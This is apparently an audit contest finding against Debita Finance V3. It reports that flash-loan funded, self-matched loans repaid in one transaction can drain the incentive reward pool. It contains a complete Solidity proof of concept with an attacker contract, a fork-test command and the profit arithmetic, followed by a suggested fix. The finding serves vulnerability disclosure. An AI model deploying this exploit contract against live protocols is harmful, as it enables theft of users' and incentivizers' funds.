Brisk Cobalt Skunk

High

# Incentives can be stolen by using flash loans to borrow huge amounts dominating the rewards pool

### Summary

`DebitaIncentives` presents a mechanism to motivate users to engage in Debita's ecosystem and/or specific pairs available. It's designed to fairly distribute rewards proportionally to the amount of principle from transactions the user was involved in with respect to the total principle flow per epoch. A malicious user would attempt to exploit this mechanism for financial gain by attempting to borrow funds and repay them instantly. This is limited by the market conditions and lender's unwillingness to be involved in scenarios where gained interest is limited. However, anyone can call `matchOffersV3()` so this is not a constraint. More importantly, debt can be repaid instantly, meaning that the attacker does not need to have huge capital and can utilize flash loans to dominate rewards calculations.

### Root Cause

Anyone can call `matchOffersV3()` with any orders - assuming they are complementary. At the same time, incentives are distributed **only** based on the amount borrowed/lent and a loan can be repaid instantly, rendering incentives mechanism useless for rewarding honest engagement. 

### Internal pre-conditions

- an incentive has accumulated for a specific pair in a given epoch, either for borrow or loan it doesn't matter
- the rewards $ value is larger than the borrow fee paid, considering the minimum fee is only 0.2% ( 0.17% as the connector fee goes back to them ) this condition is very likely to be met ( specific examples provided later on )

### External pre-conditions

--

### Attack Path

A malicious user uses a custom smart contract to create sufficiently large borrow and lend orders that match each other to dominate the incentive distribution using a flash loan to fund the operation - the debt repayment can be instant. 

The duration of the loan is 5 seconds to ensure minimum borrow fees AND avoid interest for `minimalDurationPayment` (although paying interest would just be a complication in calculations nothing more):
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaV3Loan.sol#L730-L734

They call `matchOffersV3()` with their offers and instantly repay themselves to repay the flash loan provider in one tx. 

After the epoch ends they claim incentives dominating the rewards pool based on this calculation:
https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/main/Debita-V3-Contracts/contracts/DebitaIncentives.sol#L200-L201

### Impact

All funds from `DebitaIncentives` can be stolen by creating fake engagements using flash loans. 


### PoC

The test was created alongside the entire test file (except from a modified version of the `setUp()` function provided by the team). The most important part is the `AttackerContract` performing the flash loan transaction. Flash loans themselves are simplified to transfer funds to the attacker and back to avoid unnecessary complexity. 

<details>
<summary>PoC</summary>

pragma solidity ^0.8.0;

import {Test, console} from "forge-std/Test.sol";
import {veNFTAerodrome} from "@contracts/Non-Fungible-Receipts/veNFTS/Aerodrome/Receipt-veNFT.sol";
import {veNFTVault} from "@contracts/Non-Fungible-Receipts/veNFTS/Aerodrome/veNFTAerodrome.sol";
import {DBOFactory} from "@contracts/DebitaBorrowOffer-Factory.sol";
import {DBOImplementation} from "@contracts/DebitaBorrowOffer-Implementation.sol";
import {DLOFactory} from "@contracts/DebitaLendOfferFactory.sol";
import {DLOImplementation} from "@contracts/DebitaLendOffer-Implementation.sol";
import {DebitaV3Aggregator} from "@contracts/DebitaV3Aggregator.sol";
import {Ownerships} from "@contracts/DebitaLoanOwnerships.sol";
import {auctionFactoryDebita} from "@contracts/auctions/AuctionFactory.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {DynamicData} from "../../../interfaces/getDynamicData.sol";
// import ERC20
import {ERC20Mock} from "@openzeppelin/contracts/mocks/token/ERC20Mock.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaIncentives} from "@contracts/DebitaIncentives.sol";
import {DebitaV3Loan} from "@contracts/DebitaV3Loan.sol";
import {DebitaChainlink} from "@contracts/oracles/DebitaChainlink.sol";
import {DebitaPyth} from "@contracts/oracles/DebitaPyth.sol";

contract FlashLoanStealingIncentives is Test {
    veNFTAerodrome public receiptContract;
    DBOFactory public DBOFactoryContract;
    DLOFactory public DLOFactoryContract;
    Ownerships public ownershipsContract;
    DebitaIncentives public incentivesContract;
    DebitaV3Aggregator public DebitaV3AggregatorContract;
    auctionFactoryDebita public auctionFactoryDebitaContract;
    DynamicData public allDynamicData;
    DebitaV3Loan public DebitaV3LoanContract;
    DebitaV3Loan public DebitaV3LoanContractFake;
    ERC20Mock public AEROContract;
    ERC20Mock public USDCContract;
    ERC20Mock public wETHContract;
    DLOImplementation public LendOrder;
    DLOImplementation public SecondLendOrder;
    DLOImplementation public ThirdLendOrder;

    address DebitaChainlinkOracle;
    address DebitaPythOracle;

    DBOImplementation public BorrowOrder;
    
    
    address maliciousUser;
    AttackerContract attackerContract;

    address AERO = 0x940181a94A35A4569E4529A3CDfB74e38FD98631;
    address USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;
    address wETH = 0x4200000000000000000000000000000000000006;
    address AEROFEED = 0x4EC5970fC728C5f65ba413992CD5fF6FD70fcfF0;
    address USDCFEED = 0x7e860098F58bBFC8648a4311b374B1D669a2bc6B;
    address WETHFEED = 0x71041dddad3595F9CEd3DcCFBe3D1F4b0a16Bb70;
    address borrower = address(0x02);
    address lender = address(0x03);
    address firstLender = address(this);
    address buyer = 0x5C235931376b21341fA00d8A606e498e1059eCc0;

    address feeAddress = address(this);

    uint receiptID;

    function setUp() public {
        allDynamicData = new DynamicData();
        ownershipsContract = new Ownerships();
        incentivesContract = new DebitaIncentives();
        DBOImplementation borrowOrderImplementation = new DBOImplementation();
        DBOFactoryContract = new DBOFactory(address(borrowOrderImplementation));
        DLOImplementation proxyImplementation = new DLOImplementation();
        DLOFactoryContract = new DLOFactory(address(proxyImplementation));
        auctionFactoryDebitaContract = new auctionFactoryDebita();
        AEROContract = ERC20Mock(AERO);
        USDCContract = ERC20Mock(USDC);
        wETHContract = ERC20Mock(wETH);

        DebitaV3Loan loanInstance = new DebitaV3Loan();
        DebitaV3AggregatorContract = new DebitaV3Aggregator(
            address(DLOFactoryContract),
            address(DBOFactoryContract),
            address(incentivesContract),
            address(ownershipsContract),
            address(auctionFactoryDebitaContract),
            address(loanInstance)
        );

        ownershipsContract.setDebitaContract(
            address(DebitaV3AggregatorContract)
        );
        auctionFactoryDebitaContract.setAggregator(
            address(DebitaV3AggregatorContract)
        );
        DLOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );
        DBOFactoryContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );

        incentivesContract.setAggregatorContract(
            address(DebitaV3AggregatorContract)
        );
        DebitaV3AggregatorContract.setValidNFTCollateral(
            address(receiptContract),
            true
        );
          // Attacker's address
        maliciousUser = makeAddr("maliciousUser");
        // Contract executing the flashloan tx
        attackerContract = new AttackerContract(address(DBOFactoryContract), address(DLOFactoryContract), address(DebitaV3AggregatorContract), address(incentivesContract), maliciousUser);

    }


    // The exploit 
    function test_FlashLoanIncentiveExploit() public {
      
        // Incentivize borrow orders with $2,000 worth of USDC on epoch nr.2 
        _incentivizeBorrow();
        // Reach epoch 2
        vm.warp(block.timestamp + 14 days);
        // This simulates a flash loan, borrow and lend order creation and repayment, and then flash loan repayment
        _flashMatchOffersAndRepay();
        // Fake real engagement of $150,000 worth of loans made in total - to match example from the submission
        _fakeOtherUsers();
        // Finish epoch 2
        vm.warp(block.timestamp + 14 days);
        // Attacker claims intenctives - make sure the net profit is $600 ( 80% * 2000 - 1000 = 1600 - 1000 = 600 )
        vm.prank(maliciousUser);
        attackerContract.claimInventivesAndSendToUser();
        assertEq(USDCContract.balanceOf(maliciousUser), 1600e6);
    }


    function _flashMatchOffersAndRepay() internal {
        // Fund the flash loan provider - we ensure that initial balance is equal to the end balance
        address flashLoanProvider = makeAddr("flash");
        uint flashLoanAmount = 1200000e6; // 600,000 * 2, because it's needed for borrow AND lend orders - collateral and principle
        deal(USDC, flashLoanProvider, flashLoanAmount);
        uint initialBalance = USDCContract.balanceOf(flashLoanProvider);
        // Perform the flash floan
        address attackerContractAddr = address(attackerContract);
        vm.prank(flashLoanProvider);
        USDCContract.transfer(attackerContractAddr, flashLoanAmount);
        // To succeed attacker's contract needs to have the funds to pay borrower fee ( this cost will be later covered with the rewards ) 
        uint borrowerFee = flashLoanAmount * 17/ 20000; // 600,000 * 0.17% = 1020 USDC
        deal(USDC, maliciousUser, borrowerFee);
        vm.prank(maliciousUser);
        USDCContract.transfer(attackerContractAddr, borrowerFee);
        // Perform the flash floan tx
        vm.prank(maliciousUser);
        bool fundsReturned = attackerContract.flashLoanTx(flashLoanProvider, flashLoanAmount);
        assertEq(fundsReturned, true);
        

        // Ensure flashLoanProvider received all funds back 
        uint endBalance = USDCContract.balanceOf(flashLoanProvider);
        assertEq(initialBalance, endBalance);
    }

    function _fakeOtherUsers() internal {
        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratioLenders = allDynamicData.getDynamicUintArray(1);
        uint[] memory ltvsLenders = allDynamicData.getDynamicUintArray(1);
        bool[] memory oraclesActivatedLenders = allDynamicData
            .getDynamicBoolArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory acceptedCollaterals = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesCollateral = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        address oraclePrinciple;
        address oracleCollateral;

        ltvs[0] = 0;
        ratio[0] = 1e6;
        acceptedPrinciples[0] = USDC;
        acceptedCollaterals[0] = USDC;
        oraclesActivated[0] = false;
        oraclesPrinciples[0] = address(0);
        oraclesCollateral[0] = address(0);
        oraclePrinciple = address(0);
        oracleCollateral = address(0);

        deal(USDC, borrower, 150000e6);
        
        vm.startPrank(borrower);
        
        USDCContract.approve(address(DBOFactoryContract), 150000e6);

        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
            oraclesActivated,
            ltvs,
            1400,
            864000,
            acceptedPrinciples,
            USDC,
            false,
            0,
            oraclesPrinciples,
            ratio,
            oracleCollateral,
            150000e6
        );
        vm.stopPrank();

        deal(USDC, lender, 150000e6);
        vm.startPrank(lender);
        USDCContract.approve(address(DLOFactoryContract), 150000e6);
        
        address lenderOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            false,
            ltvs,
            1000,
            9640000,
            86400,
            acceptedCollaterals,
            USDC,
            oraclesCollateral,
            ratio,
            oraclePrinciple,
            150000e6
        );
        vm.stopPrank();

        BorrowOrder = DBOImplementation(borrowOrderAddress);
        LendOrder = DLOImplementation(lenderOrderAddress);

        address[] memory lendOrders = allDynamicData.getDynamicAddressArray(1);
        uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(
            1
        );
        uint[] memory porcentageOfRatioPerLendOrder = allDynamicData
            .getDynamicUintArray(1);
        address[] memory principles = allDynamicData.getDynamicAddressArray(1);
        uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexForCollateral_LendOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexPrinciple_LendOrder = allDynamicData
            .getDynamicUintArray(1);

        lendOrders[0] = address(LendOrder);
        lendAmountPerOrder[0] = 150000e6;
        porcentageOfRatioPerLendOrder[0] = 10000;
        principles[0] = USDC;
        indexForPrinciple_BorrowOrder[0] = 0;
        indexForCollateral_LendOrder[0] = 0;
        indexPrinciple_LendOrder[0] = 0;

            address loan = DebitaV3AggregatorContract.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            address(BorrowOrder),
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        DebitaV3LoanContractFake = DebitaV3Loan(loan);
    }   

    function _incentivizeBorrow() internal {
        address[] memory principles = new address[](1);
        address[] memory collateral = new address[](1);
        address[] memory incentiveToken = new address[](1);

        bool[] memory isLend = new bool[](1);
        uint[] memory amount = new uint[](1);
        uint[] memory epochs = new uint[](1);

        principles[0] = USDC;
        collateral[0] = USDC;
        incentiveToken[0] = USDC;
        isLend[0] = false;
        amount[0] = 2000e6; // $2,000
        epochs[0] = 2;
        incentivesContract.whitelListCollateral(USDC, USDC, true);
        address incentivizer = makeAddr("abc");
        deal(USDC, incentivizer, 2000e6);
        vm.startPrank(incentivizer);
        IERC20(USDC).approve(address(incentivesContract), 2000e6);
        incentivesContract.incentivizePair(
            principles,
            incentiveToken,
            isLend,
            amount,
            epochs
        );
        vm.stopPrank();
    }

}

contract AttackerContract {
    ERC20Mock public USDCContract;
    DBOFactory public DBOFactoryContract;
    DLOFactory public DLOFactoryContract;
    DebitaV3Loan public DebitaV3LoanContract;
    DebitaV3Aggregator public DebitaV3AggregatorContract;
    DebitaIncentives public IncentivesContract;

    address attacker;

      address USDC = 0x833589fCD6eDb6E08f4c7C32D4f71b54bdA02913;

      constructor(address _dboFactoryAddress, address _dloFactoryAddress, address _aggregator, address _incentives, address _attacker) {
        USDCContract = ERC20Mock(USDC);
        DBOFactoryContract = DBOFactory(_dboFactoryAddress);
        DLOFactoryContract = DLOFactory(_dloFactoryAddress);
        DebitaV3AggregatorContract = DebitaV3Aggregator(_aggregator);
        IncentivesContract = DebitaIncentives(_incentives);
        attacker = _attacker;
      }

    function _createBorrowAndLendOrderCalls() internal returns(address, address) {
        USDCContract.approve(address(DBOFactoryContract), 600000e6);
        bool[] memory oraclesActivated = new bool[](1);
        uint[] memory ltvs = new uint[](1);
        address[] memory acceptedPrinciples = new address[](1);
        address[] memory oraclesPrinciples = new address[](1);
        address[] memory oraclesCollateral = new address[](1);
        uint[] memory ratio = new uint[](1);
         address oracleCollateral = address(0);

        oraclesActivated[0] = false;
        ltvs[0] = 0;
        acceptedPrinciples[0] = USDC;
        oraclesPrinciples[0] = address(0);
        oraclesCollateral[0] = address(0);
        ratio[0] = 1e6;
        USDCContract.approve(address(DBOFactoryContract), 600000e6);
        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
            oraclesActivated,
            ltvs,
            1400,
            5, // 5 seconds to avoid interest
            acceptedPrinciples,
            USDC,
            false,
            0,
            oraclesPrinciples,
            ratio,
            oracleCollateral,
            600000e6
        );

         USDCContract.approve(address(DLOFactoryContract), 600000e6);
         address oraclePrinciple = address(0);

          address lendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivated,
            true,
            ltvs,
            1400,
            84600,
            5,
            acceptedPrinciples, // same as accepted collateral for simplicity
            USDC,
            oraclesCollateral,
            ratio,
            oraclePrinciple,
            600000e6
        );
        return (borrowOrderAddress, lendOrderAddress);
    }

    function _matchOffers(address _borrowOrder, address _lendOrder) internal returns(address){
        address[] memory lendOrders = new address[](1);
        uint[] memory lendAmountPerOrder = new uint[](1);
        uint[] memory porcentageOfRatioPerLendOrder = new uint[](1);
        address[] memory principles = new address[](1);
        uint[] memory indexForPrinciple_BorrowOrder = new uint[](1);
        uint[] memory indexForCollateral_LendOrder  = new uint[](1);
        uint[] memory indexPrinciple_LendOrder = new uint[](1);

        lendOrders[0] = _lendOrder;
        lendAmountPerOrder[0] = 600000e6;
        porcentageOfRatioPerLendOrder[0] = 10000;
        principles[0] = USDC;
        indexForPrinciple_BorrowOrder[0] = 0;
        indexForCollateral_LendOrder[0] = 0;
        indexPrinciple_LendOrder[0] = 0;

        address loan = DebitaV3AggregatorContract.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            _borrowOrder,
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );
        DebitaV3LoanContract = DebitaV3Loan(loan);

        return loan;
    }
    
    function _payDebt(address _loan) internal {
        uint[] memory indexes = new uint[](1);
        indexes[0] = 0;

        USDCContract.approve(_loan, 600000e6);
        DebitaV3LoanContract.payDebt(indexes);
    }

    function _claimDebt() internal {
        uint index = 0;        
        DebitaV3LoanContract.claimDebt(index);
    }

    function _claimCollateral() internal {
          uint[] memory indexes = new uint[](1);
        indexes[0] = 0;

        DebitaV3LoanContract.claimCollateralAsBorrower(indexes);

    }

    function flashLoanTx(address flashLoanProvider, uint flashLoanAmount) public returns(bool){
        // Ensure the contract can pay for the borrow fee
        require((USDCContract.balanceOf(address(this)) - flashLoanAmount )== flashLoanAmount * 17 / 20000, "not enough funds to cover borrow fee"); 
        // Create borrow and lend orders
        (address borrowOrder, address lendOrder) = _createBorrowAndLendOrderCalls();
        // Match the orders
        address loan = _matchOffers(borrowOrder, lendOrder);
        // Pay off the debt
        _payDebt(loan);
        _claimDebt();
        _claimCollateral();
        require(USDCContract.balanceOf(address(this)) == flashLoanAmount);

        USDCContract.transfer(flashLoanProvider, flashLoanAmount);
        bool fundsReturned = USDCContract.balanceOf(flashLoanProvider)  == flashLoanAmount;
        return fundsReturned;
    }

    function claimInventivesAndSendToUser() public {
        require(msg.sender == attacker, "not for you");
        address[] memory tokenUsed = new address[](1);
        address[] memory principles = new address[](1);
        tokenUsed[0] = USDC;
        principles[0] = USDC;

        address[][] memory tokensIncentives = new address[][](tokenUsed.length);

        tokensIncentives[0] = tokenUsed;

        uint balanceBefore = USDCContract.balanceOf(address(this));
        IncentivesContract.claimIncentives(principles, tokensIncentives, 2);
        uint balanceAfter = USDCContract.balanceOf(address(this));
        require((balanceAfter - balanceBefore ) == 1600e6, "something wrong");
        USDCContract.transfer(msg.sender, 1600e6);
    }
}
</details>

To run the PoC create a new test file and paste in the code from the dropdown above. Run the test with:
```shell
forge test --fork-url https://mainnet.base.org --fork-block-number 21151256  --mt test_FlashLoanIncentiveExploit --mc FlashLoanStealingIncentives
```
Detailed and descriptive comments are added for all essential steps.

Scenario from the PoC explained in text:  
Let's assume there is $2000 worth of borrow incentives and the attacker wishes to spend a maximum $1000 on the borrow fee to grab 80% of the incentive pool - a net profit of $600. $1000 borrow fee is equivalent to a loan for almost $600,000 ( `1000 / (0.2% - connectorFee)` ). For this to be 80% of the total rewards, the total borrow amount for a given epoch had to be ($600,000/0.8 - $600,000 = $150,000) - which is reasonable, especially at the beginning where there are lots of incentives and the protocol is gaining traction. Note that the actual `flashLoanAmount` needs to be $1,200,000 because they need to create a borrow and lend order for $600,000 worth of collateral and principal respectively.

### Mitigation

The easiest way to significantly decrease the likelihood of this exploit is to make it impossible to create a loan and repay the debt in one transaction. This will make this attack very unlikely considering the required capital. 